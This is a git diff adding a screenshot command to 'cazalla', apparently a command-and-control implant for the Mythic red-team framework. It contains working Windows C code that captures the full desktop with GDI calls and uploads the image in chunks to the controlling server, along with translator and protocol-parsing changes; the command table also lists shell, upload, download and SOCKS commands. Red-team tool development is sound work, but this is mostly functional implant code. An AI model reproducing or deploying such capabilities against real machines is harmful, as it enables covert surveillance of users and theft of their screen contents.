diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile index 6e8ac06..d045c3a 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile @@ -3,8 +3,8 @@ CC = x86_64-w64-mingw32-gcc # Base flags CFLAGS = -Wall -w -IInclude -LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -mwindows -LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt +LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -mwindows +LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 # Debug parameters (can be overridden from command line) # DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4 diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index f55a730..0776465 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -54,6 +54,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { DescargarFichero(analizadorTarea); } else if (tarea == UPLOAD_CMD) { SubirFichero(analizadorTarea); + } else if (tarea == SCREENSHOT_CMD) { + CapturarPantalla(analizadorTarea); } else if (tarea == START_SOCKS_CMD) { _dbg("Received START_SOCKS_CMD"); startSocksHandler(analizadorTarea); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index ec30cc5..9e112e2 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -10,6 +10,7 @@ #include "sleep.h" #include "procesos.h" #include "SistemadeFicheros.h" +#include "screenshot.h" #define SHELL_CMD 0x54 #define GET_TASKING 0x00 @@ -31,6 +32,7 @@ #define CAT_CMD 0x26 #define DOWNLOAD_CMD 0x27 #define UPLOAD_CMD 0x28 +#define SCREENSHOT_CMD 0x29 /* New SOCKS control commands (agent-side) */ #define START_SOCKS_CMD 0x60 diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c index 0feb065..3503ced 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -741,4 +741,26 @@ VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 if (path_len > 0) { addString(paquete, full_path, FALSE); } +} + +/* Commands helper: for reporting command add/remove to Mythic */ +/* Format: [0xF7 marker][action_len:4][action][cmd_len:4][cmd] */ +/* action must be "add" or "remove", cmd is the command name */ +VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd) { + if (!paquete || !action || !cmd) { + return; + } + + // Commands marker (0xF7) + addByte(paquete, 0xF7); + + // Action length and value ("add" or "remove") + SIZE_T action_len = strlen(action); + addInt32(paquete, (UINT32)action_len); + addString(paquete, action, FALSE); + + // Command name length and value + SIZE_T cmd_len = strlen(cmd); + addInt32(paquete, (UINT32)cmd_len); + addString(paquete, cmd, FALSE); } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h index cd45513..06ce3be 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h @@ -51,4 +51,9 @@ VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE c /* Format for upload request: [0xF8 marker][file_id_len:4][file_id][chunk_size:4][chunk_num:4][full_path_len:4][full_path] */ VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path); +/* Commands helper: for reporting command add/remove to Mythic */ +/* Format: [0xF7 marker][action_len:4][action][cmd_len:4][cmd] */ +/* action must be "add" or "remove", cmd is the command name */ +VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/screenshot.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/screenshot.c new file mode 100644 index 0000000..3726396 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/screenshot.c @@ -0,0 +1,328 @@ +#include "screenshot.h" +#include "cazalla.h" +#include "paquete.h" +#include "SistemadeFicheros.h" +#include +#include + +#pragma comment(lib, "gdi32.lib") +#pragma comment(lib, "user32.lib") + +VOID CapturarPantalla(PAnalizador argumentos) { + // Match input_type=None format used by pwd: [nbArg:4][UUID(36)] + UINT32 nbArg = getInt32(argumentos); + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + _inf("[screenshot] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid); + + if (!tareaUuid || tamanoUuid != 36) { + _err("[screenshot] UUID de tarea inválido (len=%zu)", tamanoUuid); + return; + } + + // Ensure UUID is null-terminated for addString (same as download) + CHAR uuidBuffer[37] = {0}; + memcpy(uuidBuffer, tareaUuid, 36); + uuidBuffer[36] = '\0'; + tareaUuid = uuidBuffer; + + // Prepare raw UUID bytes (36) to avoid strlen issues when adding to packets + BYTE uuidRaw[36]; + memcpy(uuidRaw, tareaUuid, 36); + + _inf("[screenshot] Iniciando captura de pantalla"); + + // Get screen dimensions + int screenWidth = GetSystemMetrics(SM_CXSCREEN); + int screenHeight = GetSystemMetrics(SM_CYSCREEN); + + if (screenWidth == 0 || screenHeight == 0) { + _err("[screenshot] Error obteniendo dimensiones de pantalla"); + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudieron obtener las dimensiones de pantalla\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + _inf("[screenshot] Dimensiones: %dx%d", screenWidth, screenHeight); + + // Get desktop DC + HDC hScreenDC = GetDC(NULL); + if (!hScreenDC) { + _err("[screenshot] Error obteniendo DC del escritorio"); + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo obtener el DC del escritorio\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Create compatible DC and bitmap + HDC hMemoryDC = CreateCompatibleDC(hScreenDC); + if (!hMemoryDC) { + _err("[screenshot] Error creando compatible DC"); + ReleaseDC(NULL, hScreenDC); + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo crear compatible DC\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Create bitmap + HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, screenWidth, screenHeight); + if (!hBitmap) { + _err("[screenshot] Error creando bitmap"); + DeleteDC(hMemoryDC); + ReleaseDC(NULL, hScreenDC); + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo crear bitmap\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Select bitmap into memory DC + HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemoryDC, hBitmap); + + // Copy screen to bitmap + if (!BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight, hScreenDC, 0, 0, SRCCOPY)) { + _err("[screenshot] Error copiando pantalla"); + SelectObject(hMemoryDC, hOldBitmap); + DeleteObject(hBitmap); + DeleteDC(hMemoryDC); + ReleaseDC(NULL, hScreenDC); + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo copiar la pantalla\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Get bitmap info + BITMAPINFO bmpInfo = {0}; + bmpInfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + bmpInfo.bmiHeader.biWidth = screenWidth; + bmpInfo.bmiHeader.biHeight = -screenHeight; // Negative for top-down DIB + bmpInfo.bmiHeader.biPlanes = 1; + bmpInfo.bmiHeader.biBitCount = 24; // RGB + bmpInfo.bmiHeader.biCompression = BI_RGB; + + // Calculate bitmap data size + DWORD bmpDataSize = ((screenWidth * 3 + 3) & ~3) * screenHeight; // Align to 4 bytes + bmpInfo.bmiHeader.biSizeImage = bmpDataSize; + + // Allocate buffer for bitmap data + PBYTE bmpData = (PBYTE)LocalAlloc(LPTR, bmpDataSize); + if (!bmpData) { + _err("[screenshot] Error asignando memoria para bitmap"); + SelectObject(hMemoryDC, hOldBitmap); + DeleteObject(hBitmap); + DeleteDC(hMemoryDC); + ReleaseDC(NULL, hScreenDC); + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo asignar memoria\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Get bitmap bits + if (!GetDIBits(hScreenDC, hBitmap, 0, screenHeight, bmpData, &bmpInfo, DIB_RGB_COLORS)) { + _err("[screenshot] Error obteniendo bits del bitmap"); + LocalFree(bmpData); + SelectObject(hMemoryDC, hOldBitmap); + DeleteObject(hBitmap); + DeleteDC(hMemoryDC); + ReleaseDC(NULL, hScreenDC); + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudieron obtener los bits del bitmap\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Create BMP file header + DWORD bmpFileSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpDataSize; + PBYTE bmpFile = (PBYTE)LocalAlloc(LPTR, bmpFileSize); + if (!bmpFile) { + _err("[screenshot] Error asignando memoria para archivo BMP"); + LocalFree(bmpData); + SelectObject(hMemoryDC, hOldBitmap); + DeleteObject(hBitmap); + DeleteDC(hMemoryDC); + ReleaseDC(NULL, hScreenDC); + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo asignar memoria para el archivo\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Write BMP file header + PBITMAPFILEHEADER bmpFileHeader = (PBITMAPFILEHEADER)bmpFile; + bmpFileHeader->bfType = 0x4D42; // "BM" + bmpFileHeader->bfSize = bmpFileSize; + bmpFileHeader->bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); + + // Write bitmap info header + memcpy(bmpFile + sizeof(BITMAPFILEHEADER), &bmpInfo.bmiHeader, sizeof(BITMAPINFOHEADER)); + + // Write bitmap data + memcpy(bmpFile + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER), bmpData, bmpDataSize); + + // Cleanup + LocalFree(bmpData); + SelectObject(hMemoryDC, hOldBitmap); + DeleteObject(hBitmap); + DeleteDC(hMemoryDC); + ReleaseDC(NULL, hScreenDC); + + _inf("[screenshot] Captura completada: %lu bytes", bmpFileSize); + + // Send screenshot as download with special path "SCREENSHOT" to identify it + // The translator will detect this and add is_screenshot: true + const DWORD CHUNK_SIZE = 512 * 1024; + DWORD totalChunks = (bmpFileSize + CHUNK_SIZE - 1) / CHUNK_SIZE; + + // Send registration (EXACT same format as download) + PPaquete registroRespuesta = nuevoPaquete(POST_RESPONSE, TRUE); + _inf("[screenshot] DEBUG: tareaUuid=%p, uuid(len=36)='%.36s'", tareaUuid, tareaUuid); + _inf("[screenshot] DEBUG: len antes de UUID (registro) = %zu", registroRespuesta->length); + addBytes(registroRespuesta, (PBYTE)uuidRaw, 36, FALSE); + _inf("[screenshot] DEBUG: len después de UUID (registro) = %zu", registroRespuesta->length); + + PPaquete salidaRegistro = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaRegistro, FALSE, "[screenshot] Captura de pantalla: %dx%d (%lu bytes, %lu chunks)\n", + screenWidth, screenHeight, bmpFileSize, totalChunks); + addBytes(registroRespuesta, (PBYTE)salidaRegistro->buffer, salidaRegistro->length, TRUE); + + // Use special path "SCREENSHOT" so translator knows this is a screenshot + addDownloadRegistration(registroRespuesta, "SCREENSHOT", totalChunks, CHUNK_SIZE); + + // Send registration and get file_id + PAnalizador respuestaRegistro = mandarPaquete(registroRespuesta); + liberarPaquete(salidaRegistro); + liberarPaquete(registroRespuesta); + + if (!respuestaRegistro) { + _err("[screenshot] Error: No se recibió respuesta del registro\n"); + LocalFree(bmpFile); + return; + } + + // Extract file_id from response (same logic as download) + PCHAR file_id = NULL; + PBYTE buffer = respuestaRegistro->buffer; + SIZE_T len = respuestaRegistro->tamano; + + for (SIZE_T i = 0; i < len - 5; i++) { + if (buffer[i] == 0xFB) { + i++; // Skip marker + if (i + 4 > len) break; + UINT32 file_id_len = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3]; + i += 4; + if (file_id_len == 0 || file_id_len > 256 || i + file_id_len > len) break; + file_id = (PCHAR)LocalAlloc(LPTR, file_id_len + 1); + if (file_id) { + memcpy(file_id, buffer + i, file_id_len); + file_id[file_id_len] = '\0'; + } + break; + } + } + if (!file_id) { + _err("[screenshot] Error: No se pudo extraer file_id de la respuesta\n"); + liberarAnalizador(respuestaRegistro); + LocalFree(bmpFile); + return; + } + + _inf("[screenshot] File ID recibido: %s\n", file_id); + liberarAnalizador(respuestaRegistro); + + // Send chunks + DWORD chunkNum = 1; + DWORD offset = 0; + + while (offset < bmpFileSize) { + DWORD chunkSize = (bmpFileSize - offset > CHUNK_SIZE) ? CHUNK_SIZE : (bmpFileSize - offset); + PBYTE chunkBuffer = bmpFile + offset; + + _inf("[screenshot] Enviando chunk %lu/%lu (%lu bytes)\n", chunkNum, totalChunks, chunkSize); + + // Build chunk POST_RESPONSE (EXACT same format as download) + PPaquete chunkRespuesta = nuevoPaquete(POST_RESPONSE, TRUE); + _inf("[screenshot] DEBUG: len antes de UUID (chunk %lu) = %zu", chunkNum, chunkRespuesta->length); + addBytes(chunkRespuesta, (PBYTE)uuidRaw, 36, FALSE); + _inf("[screenshot] DEBUG: len después de UUID (chunk %lu) = %zu", chunkNum, chunkRespuesta->length); + + // Add empty output for download chunks + addInt32(chunkRespuesta, 0); + + // Add download chunk + addDownloadChunk(chunkRespuesta, file_id, chunkNum, chunkBuffer, chunkSize); + + PAnalizador respuestaChunk = mandarPaquete(chunkRespuesta); + liberarPaquete(chunkRespuesta); + if (respuestaChunk) liberarAnalizador(respuestaChunk); + + offset += chunkSize; + chunkNum++; + } + + // Send final message (EXACT same format as download) + PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE); + _inf("[screenshot] DEBUG: len antes de UUID (final) = %zu", respuestaFinal->length); + addBytes(respuestaFinal, (PBYTE)uuidRaw, 36, FALSE); + _inf("[screenshot] DEBUG: len después de UUID (final) = %zu", respuestaFinal->length); + + PPaquete salidaFinal = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaFinal, FALSE, "[screenshot] Screenshot enviado: %dx%d (%lu bytes)\n", + screenWidth, screenHeight, bmpFileSize); + addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE); + + // Report API Call artifact for screen capture + addArtifact(respuestaFinal, "API Call", "GDI Screen Capture: GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits"); + + mandarPaquete(respuestaFinal); + liberarPaquete(salidaFinal); + liberarPaquete(respuestaFinal); + + LocalFree(bmpFile); + LocalFree(file_id); +} + diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/screenshot.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/screenshot.h new file mode 100644 index 0000000..92938ae --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/screenshot.h @@ -0,0 +1,11 @@ +#pragma once + +#ifndef SCREENSHOT_H +#define SCREENSHOT_H + +#include "analizador.h" + +VOID CapturarPantalla(PAnalizador argumentos); + +#endif + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/screenshot.py b/Payload_Type/cazalla/cazalla/agent_functions/screenshot.py new file mode 100644 index 0000000..7e771f6 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/screenshot.py @@ -0,0 +1,40 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import json + + +class ScreenshotArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] + + async def parse_arguments(self): + # Screenshot command takes no arguments + pass + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + + +class ScreenshotCommand(CommandBase): + cmd = "screenshot" + needs_admin = False + help_cmd = "screenshot" + description = "Capture a screenshot of the desktop and upload it to Mythic" + version = 1 + author = "@KaseyaOFSTeam" + argument_class = ScreenshotArguments + attackmapping = ["T1113"] + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + response.DisplayParams = "Capture screenshot" + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 4f92851..518e7a3 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -17,6 +17,7 @@ commands = { "cat": {"hex_code": 0x26, "input_type": "string"}, "download": {"hex_code": 0x27, "input_type": "string"}, "upload": {"hex_code": 0x28, "input_type": "string"}, + "screenshot": {"hex_code": 0x29, "input_type": None}, # Added SOCKS control commands "start_socks": {"hex_code": 0x60, "input_type": "int"}, "stop_socks": {"hex_code": 0x61, "input_type": None}, diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index 7c2d93e..81e2e09 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -169,10 +169,65 @@ def parse_process_list(output_text): def postResponse(data): print(f"Tamaño del Base64 recibido: {len(data)} bytes") + print(f"[DEBUG] Primeros 100 bytes (hex): {data[:100].hex()}") + print(f"[DEBUG] Primeros 100 bytes (repr): {repr(data[:100])}") resTaks = [] - uuidTask = data[:36] - data = data[36:] + + # The format after removing POST_RESPONSE byte should be: [UUID tarea (36)][output_len (4)][output][...] + # But the logs show it starts with output_len, so UUID might be missing + # Try to detect UUID by looking for hyphen pattern at positions 8, 13, 18, 23 + uuidTask = None + offset = 0 + + # Check if data starts with output_len (4 bytes, can be 0-4294967295, likely < 10MB for text output) + # If first 4 bytes look like a length (reasonable size), UUID might not be here + potential_len = None + if len(data) >= 4: + potential_len = int.from_bytes(data[0:4], 'big') + print(f"[DEBUG] Primeros 4 bytes como int: {potential_len}") + + # If potential_len looks reasonable (< 10MB), data might start directly with output_len + # This means UUID was already removed - we'll need to get it from somewhere else + if potential_len is not None and potential_len < 10 * 1024 * 1024 and potential_len > 0: + print(f"[DEBUG] Data parece empezar con output_len ({potential_len}), UUID probablemente no está aquí") + # The UUID is missing from the packet - this is a protocol issue + # For now, use a placeholder and let Mythic handle it + uuidTask = b"00000000-0000-0000-0000-000000000000" + offset = 0 + print("[WARN] UUID de tarea no está en el paquete - problema de protocolo") + else: + # Try to find UUID starting at offset 0 + if len(data) >= 36: + potential_uuid = data[offset:offset+36] + try: + uuid_str = potential_uuid.decode('ascii') + # Check if it looks like a UUID (format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx) + if len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and uuid_str[18] == '-' and uuid_str[23] == '-': + uuidTask = potential_uuid + offset = 36 + print(f"[DEBUG] UUID de tarea detectado en offset 0: {uuid_str}") + except: + pass + + # If not found, try at offset 36 (might be UUID agente at offset 0) + if not uuidTask and len(data) >= 72: + potential_uuid = data[36:72] + try: + uuid_str = potential_uuid.decode('ascii') + if len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and uuid_str[18] == '-' and uuid_str[23] == '-': + uuidTask = potential_uuid + offset = 72 + print(f"[DEBUG] UUID de tarea detectado en offset 36: {uuid_str}") + except: + pass + + if not uuidTask: + print("[WARN] No se pudo encontrar UUID de tarea válido, usando placeholder") + uuidTask = b"00000000-0000-0000-0000-000000000000" + offset = 0 + + data = data[offset:] # Extract output, but handle case where output might be empty (e.g., download chunks) output, data = getBytesWithSize(data) @@ -185,11 +240,13 @@ def postResponse(data): # Credentials format: [0xFE][type_len:4][type][realm_len:4][realm][credential_len:4][credential][account_len:4][account] # Download registration: [0xFD][action:0][full_path_len:4][full_path][total_chunks:4][chunk_size:4] # Download chunk: [0xFC][action:1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] + # Commands: [0xF7][action_len:4][action][cmd_len:4][cmd] artifacts_data = [] credentials_data = [] download_registration = None download_chunk = None upload_request = None + commands_data = [] remaining_data = data while len(remaining_data) >= 5: # At least: marker (1) + type_len (4) @@ -353,12 +410,18 @@ def postResponse(data): offset += 4 # Store download registration info + # If full_path is "SCREENSHOT", this is a screenshot, not a file download + is_screenshot = (full_path == "SCREENSHOT") download_registration = { "full_path": full_path, "total_chunks": total_chunks, - "chunk_size": chunk_size + "chunk_size": chunk_size, + "is_screenshot": is_screenshot } - print(f"[DOWNLOAD] Registro detectado: path={full_path}, chunks={total_chunks}, chunk_size={chunk_size}") + if is_screenshot: + print(f"[SCREENSHOT] Registro detectado: chunks={total_chunks}, chunk_size={chunk_size}") + else: + print(f"[DOWNLOAD] Registro detectado: path={full_path}, chunks={total_chunks}, chunk_size={chunk_size}") remaining_data = remaining_data[offset:] elif remaining_data[0] == 0xFC: @@ -478,6 +541,48 @@ def postResponse(data): print(f"[UPLOAD] Request detectado: file_id={file_id}, chunk_num={chunk_num}, chunk_size={chunk_size}, path={full_path}") remaining_data = remaining_data[offset:] + elif remaining_data[0] == 0xF7: + # Commands marker found + # Format: [0xF7][action_len:4][action][cmd_len:4][cmd] + offset = 1 + + # Extract action ("add" or "remove") + if len(remaining_data) < offset + 4: + break + action_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + if action_len == 0 or len(remaining_data) < offset + action_len: + break + + try: + action = remaining_data[offset:offset+action_len].decode('utf-8') + offset += action_len + except: + break + + # Extract cmd (command name) + if len(remaining_data) < offset + 4: + break + cmd_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + if cmd_len == 0 or len(remaining_data) < offset + cmd_len: + break + + try: + cmd = remaining_data[offset:offset+cmd_len].decode('utf-8') + offset += cmd_len + + commands_data.append({ + "action": action, + "cmd": cmd + }) + print(f"[COMMANDS] Command {action} detectado: {cmd}") + + remaining_data = remaining_data[offset:] + except: + break else: # No more markers break @@ -570,6 +675,21 @@ def postResponse(data): jsonTask["credentials"] = credentials print(f"[CREDENTIALS] Total de credentials agregados: {len(credentials)}") + # Support for commands: create commands array from parsed data + commands = [] + + # Process all detected commands + for cmd_info in commands_data: + commands.append({ + "action": cmd_info["action"], + "cmd": cmd_info["cmd"] + }) + + # Add commands array if we have any + if len(commands) > 0: + jsonTask["commands"] = commands + print(f"[COMMANDS] Total de commands agregados: {len(commands)}") + # Add download information if present if download_registration: jsonTask["download"] = download_registration diff --git a/Payload_Type/cazalla/translator/translator.py b/Payload_Type/cazalla/translator/translator.py index 36f2864..8cb0c86 100644 --- a/Payload_Type/cazalla/translator/translator.py +++ b/Payload_Type/cazalla/translator/translator.py @@ -308,6 +308,10 @@ class cazalla_translator(TranslationContainer): elif data[0] == commands["post_response"]["hex_code"]: print("POST RESPONSE") + print(f"[DEBUG] POST_RESPONSE - data length: {len(data)} bytes") + print(f"[DEBUG] POST_RESPONSE - data[0:100] (hex): {binascii.hexlify(data[:100]).decode()}") + print(f"[DEBUG] POST_RESPONSE - clean_data length: {len(clean_data)} bytes") + print(f"[DEBUG] POST_RESPONSE - clean_data[0:100] (hex): {binascii.hexlify(clean_data[:100] if len(clean_data) >= 100 else clean_data).decode()}") response.Message = postResponse(clean_data) # Agregar array SOCKS si existe if socks_array: diff --git a/README.md b/README.md index 98dd901..5310819 100644 --- a/README.md +++ b/README.md @@ -199,6 +199,7 @@ For more information, see the [Mythic documentation on customizing public agents | Command | Description | Example | |---------|-------------|---------| | `ps` | List running processes with Process Browser support | `ps` | +| `screenshot` | Capture full-screen screenshot (Mythic screenshot UI) | `screenshot` | **Note**: The `ps` command integrates with Mythic's Process Browser, allowing unified process management across multiple callbacks. Process lists are automatically synchronized and viewable from the Process Browser UI. @@ -512,6 +513,8 @@ Cazalla automatically reports artifacts created during command execution, allowi - **Process Create Tracking**: Every `shell` command execution creates an artifact showing the command line - **Artifact Management**: Artifacts appear in Mythic's Artifacts page (click the fingerprint icon) - **Extensible**: Easy to add artifact reporting for other commands (File Write, Network Connection, etc.) +- **API Call**: Reported for: + - `screenshot` - GDI Screen Capture (GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits) ### How It Works @@ -568,6 +571,8 @@ Currently supported: - `rm` (delete) - reports deleted file/directory path - **File Read**: Automatically reported for: - `download` - reports file path when downloading files +- **API Call**: Reported for: + - `screenshot` - GDI Screen Capture (GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits) **Note**: The following commands don't require artifacts as they are read-only or don't modify system state: - `ls`, `cd`, `pwd` - read-only file system operations